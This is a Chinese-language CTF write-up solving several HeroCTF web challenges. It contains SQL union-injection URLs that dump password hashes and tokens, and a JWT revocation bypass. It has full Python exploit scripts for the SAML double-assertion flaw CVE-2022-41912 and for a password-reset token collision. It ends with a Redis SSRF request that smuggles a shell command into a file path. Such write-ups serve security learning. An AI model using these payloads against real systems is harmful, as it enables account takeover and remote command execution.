最近空闲期,无聊就打打CTF,睡睡觉。

WEB

Tomwhat

package com.example.light;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class LightServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");
        HttpSession session = req.getSession();
        String username = (String) session.getAttribute("username");
        String error = (String) req.getAttribute("error");

        StringBuilder html = new StringBuilder();
        html.append("<html><body><h1>Light Side</h1>");

        if (error != null) {
            html.append("<p style='color:red;'>").append(error).append("</p>");
        }

        html.append("<form method='post'>");
        html.append("<input name='username' />");
        html.append("<button type='submit'>Join</button>");
        html.append("</form>");

        if (username != null) {
            html.append("<p>You are on the good side Lord ").append(username).append("</p>");
            html.append("<form action='/dark/' method='get'><button>Go dark</button></form>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String username = req.getParameter("username");
        if ("darth_sidious".equalsIgnoreCase(username)) {
            req.setAttribute("error", "Forbidden username.");
            doGet(req, resp);
            return;
        }
        req.getSession().setAttribute("username", username);
        resp.sendRedirect(req.getContextPath() + "/");
    }
}
package com.example.dark;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class AdminServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");

        HttpSession s = req.getSession(false);
        String username = s == null ? null : (String) s.getAttribute("username");

        StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");

        if ("darth_sidious".equalsIgnoreCase(username)) {
            html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
        } else {
            html.append("<p>Access denied.</p>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }
}

由于session统一管理可以共享,所以可以利用tomcat的session example生成一个username=darth_sidious的session,然后访问/dark/admin即可

http://dyn09.heroctf.fr:13717/examples/servlets/servlet/SessionExample?dataname=username&datavalue=darth_sidious
http://dyn09.heroctf.fr:13717/dark/admin

image.png

Revoked

联合注入获取admin1的哈希

http://dyn13.heroctf.fr:13576/employees?query=Alice%'union SELECT id, username, is_admin, password_hash FROM users--

然后hashcat爆破就行了
image.png

image.png

Revoked Revenge

首先写了历史jwt

http://dyn02.heroctf.fr:12228/employees?query=Alice%' UNION SELECT 1, id, 3, token FROM revoked_tokens--

找到管理员的

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDQyNTYzNS42MzY5MDM4fQ.Arejz0ENdgFXjOpGfxBYnJOV93NHZjNdBZUodJYSIBw

后面加个=就能绕过,因为一般jwt会忽略到base64末尾的=,加上不影响解析

"SELECT id FROM revoked_tokens WHERE token = ?", (token,)

image.png

SAMLevinson

根据描述可以是CVE-2022-41912 ,是一个SAML协议的一个解析漏洞。

来自GHSA-j2jp-wvqg-wc2g · 的合并拉取请求Crewjam/saml@aee3fb1

image.png

当 XML 中包含多个 <Assertion> 元素时,用 Go 原生反序列化(unmarshal)得到的 resp.Assertion 结构 只会保留最后一个 Assertion。换句话说,如果有两个 Assertion,只有第二个(最后一个)会被反序列化对象所表示。
攻击者可以利用这一差异,构造一个 SAML Response,包含 两个 Assertion:

  1. 第一个 Assertion 是合法签名且有效的(例如普通用户的 Assertion)
  2. 第二个 Assertion 是伪造的(例如高权限账户的 Assertion),但不经过签名验证(因为签名验证只针对第一个 Assertion)
    然后写个脚本即可
    import requests
    import re
    import base64
    import html
    import random
    import string
    
    # ================= 配置区域 =================
    # 目标 APP (Service Provider)
    URL_APP = "http://web.heroctf.fr:8080"
    # 身份提供者 (Identity Provider)
    URL_IDP = "http://web.heroctf.fr:8081"
    
    # 题目提供的合法低权限账号
    USERNAME = "user"
    PASSWORD = "oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM"
    # ===========================================
    
    # 创建 Session 以维持 Cookie
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    })
    
    def exploit():
        print(f"[*] 1. 访问 APP ({URL_APP}/flag),触发 SAML 流程...")
        try:
            r = s.get(f"{URL_APP}/flag", allow_redirects=True)
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return
    
        # 检查是否跳转到了 IDP 登录页
        if "sso" not in r.url and "SAMLRequest" not in r.text:
            print(f"[-] 未跳转到登录页,当前 URL: {r.url}")
            return
    
        print("[*] 2. 从页面提取 SAMLRequest 和 RelayState...")
        # 从 HTML hidden input 中提取,而不是从 URL 参数提取 (防止编码问题)
        req_match = re.search(r'name="SAMLRequest" value="(.*?)"', r.text)
        relay_match = re.search(r'name="RelayState" value="(.*?)"', r.text)
        
        if not req_match:
            print("[-] 无法提取 SAMLRequest。")
            return
    
        saml_request = html.unescape(req_match.group(1))
        relay_state = html.unescape(relay_match.group(1)) if relay_match else ""
    
        print("[*] 3. 在 IDP 登录获取合法的 SAMLResponse...")
        login_data = {
            "user": USERNAME,
            "password": PASSWORD,
            "SAMLRequest": saml_request,
            "RelayState": relay_state
        }
        
        # 发送登录请求
        r_login = s.post(f"{URL_IDP}/sso", data=login_data)
        
        if r_login.status_code != 200:
            print(f"[-] 登录失败,状态码: {r_login.status_code}")
            return
    
        # 提取 IDP 返回的 SAMLResponse (Base64)
        resp_match = re.search(r'name="SAMLResponse" value="(.*?)"', r_login.text)
        if not resp_match:
            print("[-] 登录后未找到 SAMLResponse,认证可能失败。")
            return
        
        raw_saml_response = html.unescape(resp_match.group(1))
        print(f"[+] 获取到合法 Response (长度: {len(raw_saml_response)})")
        
        # ================= 漏洞利用核心:构造双断言 =================
        print("[*] 4. 执行 CVE-2022-41912 攻击 (构造双断言)...")
        
        # A. 解码 XML
        xml_content = base64.b64decode(raw_saml_response).decode('utf-8')
    
        # B. 提取原始的合法 Assertion (带签名的)
        # 我们需要完整提取 <saml:Assertion ...> 到 </saml:Assertion>
        # 使用非贪婪匹配提取第一个 Assertion
        pattern = r'(<saml:Assertion.*?<\/saml:Assertion>)'
        match = re.search(pattern, xml_content, re.DOTALL)
        
        if not match:
            print("[-] 无法提取 Assertion,XML 结构可能不标准。")
            return
    
        valid_assertion = match.group(1)
        print("[+] 提取到 Valid Assertion (用于绕过签名验证)。")
    
        # C. 制作恶意的 Assertion (基于合法断言修改)
        evil_assertion = valid_assertion
        
        # 1. 移除签名 (删除 <ds:Signature>... </ds:Signature>)
        evil_assertion = re.sub(r'<ds:Signature.*?>.*?<\/ds:Signature>', '', evil_assertion, flags=re.DOTALL)
        
        # 2. 修改用户身份 (User -> Admin)
        # 替换 uid
        evil_assertion = evil_assertion.replace('>user<', '>admin<')
        # 替换组 (Users -> Administrators)
        evil_assertion = evil_assertion.replace('>Users<', '>Administrators<')
    
        # 3. 修改 ID (防止 ID 冲突导致解析报错)
        new_id = "id-" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=32))
        evil_assertion = re.sub(r'ID="[^"]*"', f'ID="{new_id}"', evil_assertion, count=1)
    
        # 4. 修改时间戳 (防止 403 Forbidden)
        # 强制将有效期覆盖为 2020年 - 2035年
        evil_assertion = re.sub(r'NotBefore="[^"]*"', 'NotBefore="2020-01-01T00:00:00Z"', evil_assertion)
        evil_assertion = re.sub(r'NotOnOrAfter="[^"]*"', 'NotOnOrAfter="2035-01-01T00:00:00Z"', evil_assertion)
    
        print("[+] 恶意 Assertion 构造完成。")
    
        # D. 拼接 XML (关键步骤:Valid 在前,Evil 在后)
        # 查找 Valid Assertion 在原文中的结束位置
        insert_pos = xml_content.find(valid_assertion) + len(valid_assertion)
        
        # 在 Valid Assertion 后面追加 Evil Assertion
        final_xml = xml_content[:insert_pos] + evil_assertion + xml_content[insert_pos:]
        
        # 验证拼接结果包含两个断言
        if final_xml.count("saml:Assertion") < 4: # 开始标签+结束标签 * 2 = 4
            print("[-] XML 拼接可能由问题,Assertion 数量不对。")
    
        # E. 重新编码为 Base64
        payload = base64.b64encode(final_xml.encode('utf-8')).decode('utf-8')
        
        # ================= 发送 Payload =================
        print("[*] 5. 发送 Payload 到 APP (SAML ACS)...")
        acs_url = f"{URL_APP}/saml/acs"
        
        # [关键] 伪造 Headers 绕过 Origin/Referer 检查
        spoofed_headers = {
            "Origin": URL_IDP,
            "Referer": f"{URL_IDP}/",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        
        acs_data = {
            "SAMLResponse": payload,
            "RelayState": relay_state
        }
        
        # 发送 POST 请求
        r_final = s.post(acs_url, data=acs_data, headers=spoofed_headers)
        
        print(f"[*] 响应状态码: {r_final.status_code}")
        
        # ================= 结果检查 =================
        if "Hero{" in r_final.text:
            print("\n" + "="*40)
            print("[SUCCESS] 攻击成功!Flag 如下:")
            # 提取 Flag
            flag = re.search(r'(Hero{.*?})', r_final.text)
            if flag:
                print(f"\n    {flag.group(1)}\n")
            else:
                print("Flag 匹配失败,请手动查看响应。")
            print("="*40 + "\n")
        else:
            print("[-] 攻击失败。")
            if "Administrators" in r_final.text:
                print("提示: 页面显示组为 Administrators,但 Flag 未出现 (可能需要特定 URL 或参数)。")
            elif "You are not part of" in r_final.text:
                print("提示: 依然提示权限不足 (Assertion 顺序可能反了,或者漏洞已修补)。")
            
            # 打印部分响应
            print("-" * 20 + " Response Preview " + "-" * 20)
            print(r_final.text[:500])
    
    if __name__ == "__main__":
        exploit()

image.png

Spring Drive

首先是token碰撞修改admin密码

POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "test@123.com"
}


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:09 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset email sent","data":null}
GET /api/auth/email HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:28 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 132

{"status":"success","message":null,"data":["ResetPasswordToken [token=343d1a6a-a0a4-41ed-90ba-7b973de5f42f|2, email=test@123.com]"]}
POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "admin@example.com"
}

HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:41:42 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset email sent","data":null}
POST /api/auth/reset-password HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "\u3DEE\u5F85\uD5D5\u5A05\uA19F",
  "token": "343d1a6a-a0a4-41ed-90ba-7b973de5f42f|1",
  "password": "NewAdminPass123"
}


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:46:22 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset successful","data":null}

写个脚本实现

import requests
import json
import re

class PasswordResetExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url
        self.session_cookie = session_cookie
        self.headers = {
            'Cookie': f'SESSION={session_cookie}',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Content-Type': 'application/json',
            'Upgrade-Insecure-Requests': '1'
        }
        self.session = requests.Session()
        self.session.headers.update(self.headers)
    
    def send_password_reset(self, email):
        """发送密码重置请求"""
        url = f"{self.base_url}/api/auth/send-password-reset"
        data = {"email": email}
        
        response = self.session.post(url, json=data)
        print(f"[+] 发送密码重置请求给: {email}")
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        return response.json()
    
    def get_email_tokens(self):
        """获取邮箱中的重置token"""
        url = f"{self.base_url}/api/auth/email"
        
        response = self.session.get(url)
        print(f"[+] 获取邮箱token列表")
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        if response.status_code == 200:
            data = response.json()
            if data.get('status') == 'success' and data.get('data'):
                return data['data']
        return []
    
    def extract_token(self, token_data):
        """从响应中提取token"""
        tokens = []
        for item in token_data:
            # 使用正则表达式提取token
            match = re.search(r'token=([^|]+)\|(\d+)', item)
            if match:
                token = match.group(1)
                email_match = re.search(r'email=([^\]]+)', item)
                email = email_match.group(1) if email_match else "unknown"
                tokens.append({
                    'token': token,
                    'email': email,
                    'full_token': f"{token}|{match.group(2)}"
                })
        return tokens
    
    def obfuscate_email(self, email):
        """对邮箱进行Unicode混淆"""
        # 这是你提供的Unicode混淆字符串
        obfuscated = "\u3DEE\u5F85\uD5D5\u5A05\uA19F"
        print(f"[+] 邮箱混淆: {email} -> {obfuscated}")
        return obfuscated
    
    def reset_password(self, email, token, new_password, use_obfuscation=True):
        """执行密码重置"""
        url = f"{self.base_url}/api/auth/reset-password"
        
        # 根据选择使用混淆或原始邮箱
        target_email = self.obfuscate_email(email) if use_obfuscation else email
        
        payload = {
            "email": target_email,
            "token": token,
            "password": new_password
        }
        
        print(f"[+] 发送重置请求负载:")
        print(f"    Email: {target_email} (原始: {email})")
        print(f"    Token: {token}")
        print(f"    Password: {new_password}")
        
        response = self.session.post(url, json=payload)
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        return response.json()
    
    def exploit(self, target_email="admin@example.com", new_password="NewAdminPass123"):
        """执行完整的攻击流程"""
        print("[*] 开始密码重置攻击流程...")
        
        # 1. 先为自己的测试邮箱请求重置,获取token格式
        print("\n[*] 步骤1: 获取token格式...")
        self.send_password_reset("test@123.com")
        
        # 2. 获取邮箱中的token
        print("\n[*] 步骤2: 获取邮箱token...")
        token_data = self.get_email_tokens()
        tokens = self.extract_token(token_data)
        
        if not tokens:
            print("[-] 未找到有效token")
            return False
        
        print(f"[+] 找到 {len(tokens)} 个token:")
        for t in tokens:
            print(f"    Token: {t['full_token']} (邮箱: {t['email']})")
        
        # 3. 为目标管理员邮箱发送重置请求
        print(f"\n[*] 步骤3: 为目标邮箱 {target_email} 发送重置请求...")
        self.send_password_reset(target_email)
        
        # 4. 尝试使用获取的token格式进行密码重置(带Unicode混淆)
        print(f"\n[*] 步骤4: 使用Unicode混淆尝试重置管理员密码...")
        
        # 使用第一个token的格式,但修改序号为目标邮箱的序号
        base_token = tokens[0]['token']
        
        # 尝试不同的序号(先尝试序号1,因为从你的成功请求中看到是|1)
        token_attempts = [
            f"{base_token}|1",  # 优先尝试序号1
            f"{base_token}|2",
            f"{base_token}|3", 
            f"{base_token}|4"
        ]
        
        for attempt_token in token_attempts:
            print(f"\n[*] 尝试Token: {attempt_token}")
            
            # 使用Unicode混淆
            result = self.reset_password(target_email, attempt_token, new_password, use_obfuscation=True)
            
            if result.get('status') == 'success':
                print(f"[+] 密码重置成功!")
                print(f"[+] 管理员邮箱: {target_email}")
                print(f"[+] 使用Token: {attempt_token}")
                print(f"[+] 新密码: {new_password}")
                
                
                return True
            else:
                print(f"[-] Token {attempt_token} 失败")
    
        return False

def main():
    # 配置参数
    BASE_URL = "http://192.168.31.210:8081"
    SESSION_COOKIE = "MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl"
    TARGET_EMAIL = "admin@example.com"
    NEW_PASSWORD = "12345678"
    
    # 创建攻击实例
    exploit = PasswordResetExploit(BASE_URL, SESSION_COOKIE)
    
    # 执行攻击
    success = exploit.exploit(TARGET_EMAIL, NEW_PASSWORD)
    
    if success:
        print("\n[+] 攻击成功完成!")
    else:
        print("\n[-] 攻击失败")

if __name__ == "__main__":
    main()

后面就是redis 打SSRF,直接在http_method构造redis语句然后命令拼接到ClamAVService

String command = String.format("clamscan --quiet '%s'", filePath);
ProcessBuilder processBuilder = new ProcessBuilder("/bin/sh", "-c", command);
POST /api/file/remote-upload HTTP/1.1
Host: dyn01.heroctf.fr:12149
Accept-Encoding: gzip, deflate
Cookie: SESSION=MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl
Priority: u=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/json
Accept: */*
Referer: http://dyn01.heroctf.fr:12149/
Origin: http://dyn01.heroctf.fr:12149
Content-Length: 66

{"url":"http://localhost:6379","filename":"11","httpMethod":"RPUSH clamav_queue \"/etc/passwd'; cp /app/flag* /usr/share/nginx/html/flag.txt #'\"\n"}

image.png